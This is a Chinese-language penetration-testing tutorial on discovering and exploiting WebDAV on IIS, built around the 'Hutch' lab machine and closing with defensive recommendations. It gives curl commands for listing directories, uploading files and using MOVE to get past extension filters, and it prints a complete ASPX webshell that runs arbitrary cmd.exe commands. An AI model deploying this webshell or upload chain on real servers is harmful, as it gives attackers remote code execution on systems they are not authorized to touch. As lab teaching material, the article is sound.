WebDAV发现与利用原理:从一个IIS扫描结果说起(Hutch靶场)

admin 2026-06-26 07:31:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析WebDAV协议在渗透测试中的利用原理,从IIS扫描结果识别PROPFIND、PUT等方法入手,阐述WebDAV作为HTTP扩展协议的文件管理功能及其风险本质——权限配置不当导致可写目录与脚本执行权限叠加。通过具体curl命令演示目录枚举、文件上传、MOVE绕过扩展名限制等实战步骤,并强调认证机制突破的重要性。最后从防御角度提出禁用非必要WebDAV、目录权限分离等关键建议。 综合评分: 85 文章分类: WEB安全,渗透测试,内网渗透,红队,漏洞分析


cover_image

WebDAV 发现与利用原理:从一个 IIS 扫描结果说起(Hutch靶场)

原创

网安布道师 网安布道师

六边形攻防安全

2026年6月24日 07:30 河北

在小说阅读器读本章

去阅读

在渗透测试或靶场中,我们经常会遇到一些看起来“不起眼”的 HTTP 方法,比如 PROPFINDPUTMOVEMKCOL。如果你在目标站点的响应中看到了这些方法,就要留意一个经典入口:「WebDAV」。在IIS6.0的时代,webdav很常见,比如下面的这个工具早些年做安全的同学可能用过,其实就是进行webdav利用的工具之一。

现在的网络环境中webdav比较少见,且一般需要认证,当年搞安全的时候只会用工具并不知道原理,那么今天就一起来研究下,webdav是什么?利用原理是什么,如果有认证又该如何利用?

下面以一个典型 IIS 扫描结果为例,梳理 WebDAV 的发现、原理和利用思路。

一、从扫描结果判断 WebDAV

假设我们对目标执行了如下扫描:

nmap -Pn --script http-webdav-scan,http-iis-webdav-vuln -p80 192.168.205.122

返回信息中出现了这些关键内容:

80/tcp open  httpServer Type: Microsoft-IIS/10.0Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCKAllowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK

这里最值得注意的是:

PROPPATCHMKCOLPUTDELETECOPYMOVELOCKUNLOCK

这些不是普通网站常见的 HTTP 方法,而是 WebDAV 相关方法。它们说明目标服务器很可能启用了 WebDAV 功能。

继续使用 curl 测试:

curl -i -X PROPFIND http://192.168.147.122/ -H "Depth: 1"

说明 WebDAV 入口存在,但需要认证。也就是说:「发现了 WebDAV,不等于可以直接利用;当前关键点是获取有效凭据。」

二、WebDAV 到底是什么

WebDAV 全称是:

Web Distributed Authoring and Versioning(web分布式编辑与版本管理)

它是 HTTP 协议的一组扩展。普通 HTTP 更多用于“浏览”和“提交”,比如:

GET   读取资源POST  提交数据HEAD  只获取响应头

WebDAV 则把 HTTP 扩展成了类似远程文件管理的协议。它允许客户端在服务器上查询目录、上传文件、删除文件、创建目录、移动文件和加锁。

常见 WebDAV 方法如下:

PROPFIND  查询文件或目录属性,类似 ls/dirPROPPATCH 修改资源属性MKCOL     创建目录PUT       上传或写入文件DELETE    删除文件COPY      复制文件MOVE      移动或重命名文件LOCK      加锁,避免多人编辑冲突UNLOCK    解锁

所以 WebDAV 本身并不是漏洞,它是一个功能。问题通常出现在权限配置不当。

三、一次 WebDAV 请求长什么样

例如列目录时,客户端可能发送:

PROPFIND / HTTP/1.1Host: 192.168.147.122Depth: 1Authorization: Basic xxxx

其中:

Depth: 0  只查询当前资源Depth: 1  查询当前目录及下一层资源

如果认证和授权都通过,服务器通常会返回:

HTTP/1.1 207 Multi-Status

响应体一般是 XML,包含文件名、目录名、大小、修改时间等属性。

上传文件时,请求大概是:

PUT /test.txt HTTP/1.1Host: 192.168.147.122Authorization: Basic xxxxContent-Length: 8

服务器收到后,会尝试把请求体写入 Web 目录中的 test.txt

四、为什么 WebDAV 会变成利用点

WebDAV 的风险来自两个条件叠加:

1. WebDAV 目录允许写入2. 写入的目录可以被 Web 服务器执行脚本

以 IIS 为例,如果攻击者获得了 WebDAV 写权限,并且可以上传 .aspx 文件,那么就可能形成这样的链路:

通过 WebDAV 上传 shell.aspx        ↓访问 http://target/shell.aspx        ↓IIS 调用 ASP.NET 执行该文件        ↓获得代码执行能力

换句话说:

WebDAV 负责写文件IIS / ASP.NET 负责执行文件

真正危险的不是 WebDAV 方法本身,而是“可写目录”和“脚本执行权限”同时存在。

五、认证机制:为什么截图里无法直接上传

前面的测试中服务器返回了:

HTTP/1.1 401 UnauthorizedWWW-Authenticate: Basic realm="192.168.147.122"

这表示服务器要求认证,而且认证方式是 Basic Auth。

Basic Auth 的原理很简单:

Authorization: Basic base64(username:password)

例如:

admin:123456

会被 Base64 编码后放入 HTTP 请求头。

需要注意的是,Base64 不是加密。如果 Basic Auth 走的是 HTTP 明文传输,凭据在网络中可能被抓包看到。因此生产环境中如果必须使用 Basic Auth,至少应该配合 HTTPS。

对于渗透测试来说,这类结果意味着下一步重点不是直接上传,而是寻找有效凭据,例如:

nmap -sV -sC -p80,135,139,445,3389,5985 192.168.205.122

如果目标开放 SMB,也可以继续枚举:

enum4linux-ng 192.168.205.122smbclient -L //192.168.205.122/ -N

拿到凭据后,再回头验证 WebDAV 权限。

六、常见验证流程

1. 查看支持的方法

curl -i -X OPTIONS http://192.168.205.122/

关注响应头里的:

AllowPublicDAV

如果出现 PROPFINDPUTMOVEMKCOL 等方法,就值得继续测试。

2. 测试目录枚举

无凭据:

curl -i -X PROPFIND http://192.168.205.122/ -H "Depth: 1"

有凭据:

curl -i -u user:password -X PROPFIND http://192.168.205.122/ -H "Depth: 1"

如果认证成功,常见成功响应是:

HTTP/1.1 207 Multi-Status

3. 测试普通文件上传

echo test > test.txtcurl -i -u user:password -T test.txt http://192.168.205.122/test.txt

再访问验证:

curl -i http://192.168.205.122/test.txt

如果可以访问到 test,说明至少具备普通文件写入能力。

4. 测试脚本文件是否执行

IIS 环境可以用一个最小 ASPX 测试文件:

cat&nbsp;> test.aspx <<'EOF'<%@ Page Language="C#"&nbsp;%><% Response.Write("webdav-ok"); %>EOF

上传:

curl -i -u&nbsp;user:password -T test.aspx&nbsp;http://192.168.147.122/test.aspx

访问:

curl&nbsp;http://192.168.147.122/test.aspx

如果输出:

webdav-ok

说明上传的 ASPX 被服务器执行,风险就很高。

如果能够上传成功,一般我们上传一个ASPX的webshell,例如

<%@&nbsp;Page&nbsp;Language="C#"&nbsp;Debug="true"&nbsp;Trace="false"&nbsp;%><%@&nbsp;Import&nbsp;Namespace="System.Diagnostics"&nbsp;%><%@&nbsp;Import&nbsp;Namespace="System.IO"&nbsp;%><script&nbsp;Language="c#"&nbsp;runat="server">void&nbsp;Page_Load(object sender,&nbsp;EventArgs&nbsp;e){&nbsp; &nbsp; string cmd =&nbsp;Request.QueryString["cmd"];&nbsp; &nbsp;&nbsp;if&nbsp;(String.IsNullOrEmpty(cmd)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Response.Write("usage: ?cmd=whoami");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;ProcessStartInfo&nbsp;psi =&nbsp;new&nbsp;ProcessStartInfo("cmd.exe",&nbsp;"/c "&nbsp;+ cmd);&nbsp; &nbsp; psi.RedirectStandardOutput&nbsp;=&nbsp;true;&nbsp; &nbsp; psi.RedirectStandardError&nbsp;=&nbsp;true;&nbsp; &nbsp; psi.UseShellExecute&nbsp;=&nbsp;false;&nbsp; &nbsp;&nbsp;Process&nbsp;p =&nbsp;Process.Start(psi);&nbsp; &nbsp;&nbsp;Response.Write("<pre>");&nbsp; &nbsp;&nbsp;Response.Write(Server.HtmlEncode(p.StandardOutput.ReadToEnd()));&nbsp; &nbsp;&nbsp;Response.Write(Server.HtmlEncode(p.StandardError.ReadToEnd()));&nbsp; &nbsp;&nbsp;Response.Write("</pre>");}</script>

5. 如果直接上传脚本扩展被拦截

有些服务器允许上传 .txt,但禁止直接上传 .aspx.php 等脚本扩展。这时可以验证 MOVE 是否可用:

curl -i -u&nbsp;user:password -T test.txt&nbsp;http://192.168.147.122/test.txt

然后尝试改名:

curl&nbsp;-i -u user:password -X MOVE&nbsp;\&nbsp; -H&nbsp;"Destination: http://192.168.147.122/test.aspx"&nbsp;\&nbsp; http://192.168.205.122/test.txt

如果改名成功,再访问:

curl&nbsp;http://192.168.147.122/test.aspx

这种方式常用于验证服务器是否只在上传阶段拦截扩展名,而没有在后续移动或重命名阶段做一致性检查。

七、WebDAV 只有 IIS 才有吗

不是。

WebDAV 是协议,IIS 只是其中一种实现。很多服务都可以支持 WebDAV:

Microsoft&nbsp;IISApache HTTP ServerNginx WebDAV 模块Tomcat / Jetty 等 Java Web 容器Nextcloud / ownCloudSabreDAVSharePoint部分 NAS,例如 Synology、QNAP

只是在渗透测试和靶场中,IIS + WebDAV 特别典型。原因是 IIS 原生支持 WebDAV 模块,而且 Windows Web 环境经常和 ASP.NET 结合:

WebDAV&nbsp;上传文件IIS 执行 ASPX

Apache 上也可能出现类似风险:

WebDAV&nbsp;上传 shell.phpApache + PHP 执行 shell.php

所以准确说:

WebDAV&nbsp;是协议IIS、Apache、Nginx、NAS、网盘系统都可以实现

八、现实环境中 WebDAV 多吗

公网环境里,WebDAV 现在并不算常见,尤其是在新建业务系统中更少见。原因也很直接:

1.&nbsp;风险高,写权限配置错误可能直接导致文件上传2.&nbsp;替代方案多,例如 SFTP、SMB、对象存储、CI/CD 发布3.&nbsp;运维习惯变化,公网 Web 根目录很少再开放远程写入4.&nbsp;安全设备对 PUT、PROPFIND、MOVE 等方法比较敏感

但它并没有完全消失。真实环境中更容易在这些地方遇到:

内网文件协作系统NAS 远程文件访问SharePoint / Office 相关生态旧&nbsp;CMS&nbsp;或旧业务系统开发人员远程发布目录

公网大规模扫描时,能看到启用了 WebDAV 方法的主机,但真正允许匿名写入的比例很低。更多情况是:

WebDAV&nbsp;已开启PROPFIND / PUT / MOVE 等方法存在但是需要认证

这和前面的示例一致。

九、防护建议

从防守角度看,WebDAV 的安全控制重点包括:

1.&nbsp;不需要 WebDAV 时直接禁用2.&nbsp;禁止匿名访问 WebDAV 目录3.&nbsp;使用强认证,避免弱口令4.&nbsp;Basic Auth 必须配合 HTTPS5.&nbsp;WebDAV 写入目录不要具备脚本执行权限6.&nbsp;限制 PUT、DELETE、MOVE、MKCOL 等高风险方法7.&nbsp;使用请求过滤限制危险扩展名8.&nbsp;Web 目录和上传目录分离9.&nbsp;记录并监控异常 HTTP 方法

对于 IIS,重点检查:

WebDAV&nbsp;Authoring RulesRequest FilteringHandler Mappings目录 NTFS 权限Authentication 配置Authorization Rules

安全配置的核心原则是:

允许上传的目录,不应该允许脚本执行。允许脚本执行的目录,不应该允许远程写入。

十、总结

WebDAV 的本质是 HTTP 上的远程文件管理协议。它让客户端可以通过 HTTP 方法对服务器文件进行查询、上传、删除、移动和加锁。

在渗透测试中,发现 WebDAV 后不要急着下结论。更准确的判断逻辑应该是:

发现 WebDAV 方法&nbsp; &nbsp; &nbsp; &nbsp; ↓确认是否需要认证&nbsp; &nbsp; &nbsp; &nbsp; ↓获取或验证有效凭据&nbsp; &nbsp; &nbsp; &nbsp; ↓测试 PROPFIND 是否可列目录&nbsp; &nbsp; &nbsp; &nbsp; ↓测试 PUT 是否可写文件&nbsp; &nbsp; &nbsp; &nbsp; ↓测试脚本扩展是否可执行&nbsp; &nbsp; &nbsp; &nbsp; ↓判断是否可以形成代码执行链

一句话概括:

发现 WebDAV 不等于存在漏洞;WebDAV + 有效凭据 + 可写目录 + 脚本执行权限,才是真正高价值的利用链。

本篇文章关于webdav的测试靶场链接:

https://portal.offsec.com/machine/hutch-604/overview/details


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:六边形攻防安全 网安布道师 网安布道师《WebDAV 发现与利用原理:从一个 IIS 扫描结果说起(Hutch靶场)》

评论:0   参与:  0